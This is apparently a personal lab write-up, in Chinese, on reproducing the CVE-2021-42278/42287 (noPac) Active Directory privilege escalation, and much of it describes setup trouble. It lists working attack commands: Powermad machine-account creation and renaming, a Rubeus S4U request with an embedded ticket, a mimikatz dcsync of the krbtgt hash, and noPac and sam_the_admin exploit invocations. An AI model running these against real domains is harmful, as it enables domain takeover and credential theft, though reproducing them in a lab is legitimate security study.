前言
CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。
CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。
参考
https://mp.weixin.qq.com/s/Z3mI5eEc8-iudqdU7EZ3EQ
https://www.cnblogs.com/mrhonest/p/15682858.html
https://heibai.org.cn/2071.html
环境
域内普通用户
lab\user01
/ Test.123
Win2008
Win2012
复现踩坑
创建域用户hello
这里使用一个域内普通用户进行登录 下载Powermad.ps1
1 | Import-Module .\Powermad.ps1 |


成功创建用户test
删除spn记录
1 | Import-Module .\Powerview.ps1 |
先用setspn
查一下
setspn -Q */* | findstr hola

这里 我另起了一个powershell去引用桌面上的cmd 结果会报错 ,然后把powerview放在Powermad同目录下导入就不报错了.... (不知道为啥...)

移动后就正常了

(在win2012powershell下
Set-DomainObject没有这个东西???!!!)...
发现两个powerview.ps1 大小不一样 不是同一个 服了...... 一个700+K 一个300+K
然后去尝试删除spn 。。。

重设机器名
1 | Set-MachineAccountAttribute -MachineAccount hello -Value "DC01" -Attribute samaccountname -Verbose |
改为域控名

请求TGT
win2008下使用Rubeus.exe报错.......$#%@&@!#@!.......
去github上下载下来编译一下 然后在win2008上运行 说缺少.net4.0
然后去下载下来安装,结果安装超时了,这台机器的网络...
后面找了个 .net4.5免安装版就可用去使用Rebues。。。。
复现
创建机器用户hello
删除spn记录

重新设置机器名

请求TGT

恢复原来的机器属性

获取票据
1 | Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:DC01.lab.com /self /altservice:LDAP/DC01.lab.com /ptt /ticket:doIElDCCBJCgAwIBBaEDAgEWooIDvDCCA7hhggO0MIIDsKADAgEFoQkbB0xBQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2xhYi5jb22jggN+MIIDeqADAgESoQMCAQKiggNsBIIDaIW9iHW2Vv1XWw71Yc6V1rdL7m2Mwmzw+rj6X1OQqR1lNapte8JpgGMN/EW+0FWCqpkFBYYR0q+ljSY56LIpTNSYK2V4ZEPmBTv/iZtG3rvGdHafJxyD3b/GfWSVLt3c1Ev7LGf9mUP/tDzsxQ46mDgdbUiuB5B7/z9vaj7h71J8M2bkIUfeP4xgNcxR5PvLbQsyp6KE54WXRxpreU4ibz8vsplH3i8sKzrPFRM1w7m2XFBonMc1A3oElU16aHwIsDUew60eRa/wqAkIl9cmO7d/hSux+7aM7ta7Q3+JfnyOYjl0BQMbzK+gDdqtdcgkycjG/W/+EPbqUHin8wKrY3O8SHix2K1Dq0VIp+GegeiiSlLvk7q+1CixSbo2DxSFAkKDyTUx8YfqSTLzy6scD4Hyi8GSVZCNf2vCTL8KFpSHyPtMURaZitv5YOmBVlK0gq73cKTst6cGzCN0h9XLVOm+RGbjLShOWpsJ4P+9pKLS12PN9EgughEHbCen0Hv2dXLfe+dwDL6Gd5A+TYbsNIyfHrxLhcdu6H1bW6cKSZaXfASM/1RyXUA15O0b0y5uh8PpQd82ptvckHkSa2gHqamM08UsUs60H5OPzGRSvtNskOHgFkDYcX6MgKJNFOq+g+J/EKchSS0yIc |
这里不管使用cmd 还是powershell
命令太长了被分成了两个......???
额 居然是在复制时候 太长notepad给自己换行了

获取krbtgt用户的NTLM Hash
1 | lsadump::dcsync /user:lab\krbtgt |

清除票据
klist purge
noPac
https://github.com/cube0x0/noPac
https://github.com/waterrr/noPac?ref=pythonawesome.com
在win2008下 提示需要 .Net4.0 结果安装失败了..
然后换win2012R2 的一台域机器去复现
0x01 扫描探测
noPac.exe -scan -domain lab.com -user user01 -pass Test.123
(这里密码加''会报错)

复现失败,可用创建用户,但是再
然后尝试再这个普通域用户下去安装python 但是报错策略XX 失败 python安装也超时了 **@#¥@**@$@#
去尝试安装。net4.5 还是超时了 这个域环境是别人给我的 真***烂,PTT,PTK,PTH都实验不了 机器网也问题很大 能访问bing 别的访问不了....
踩完的后的利用。。。
扫描探测
noPac.exe scan -domain lab.com -user user01 -pass Test.123
这里密码处网上加的''但是这里我加上就会报错 不加的话可正常使用

利用
./noPac.exe -domain attack.local -user oa -pass '!@#Qz123' /dc dc.attack.local /mAccount test123 /mPassword passW0rd /service cifs /ptt
ls \\DC01.lab.com\C$

还有个python版的noPac 但是这台机器上的python是离线安装的 pip还不知道怎么安 ┭┮﹏┭┮ 踩坑踩了一天终于能复现到了
noPac(python)
https://github.com/waterrr/noPac?ref=pythonawesome.com
Sam_the_admin
CVE-2021-42287/CVE-2021-42278 Attack
Python 利用脚本:https://github.com/WazeHell/sam-the-admin
python3 sam_the_admin.py "redteam/saul:Red12345" -dc-ip 10.10.10.8 -shell
这个还没尝试 https://heibai.org.cn/2071.html
总结
这个洞复现踩了好多坑....用了一天的时间....
由于测试机器使用的域内普通用户,在下载、安装上都会受到限制,然后选择采取使用离线安装的方式去下载相关版本,只下载了免安装的.net 4.6和 py3.7 但是py3的pip还没整上去,后续的exp脚本就没有测试。
还有就是因为是在虚拟机上运行的,且是使用的域内普通用户,因此这个vmtools 无法直接从外面复制进来文件,而且在尝试直接使用python http服务去下载是 默认浏览器存在安全策略,而普通用户无法关闭,然后我去用administrator去关闭了IE安全策略后,还是存在安全策略,然后没法使用。只能通过在测试机器上去访问administrator目录下 从外面拖进来的所需要的文件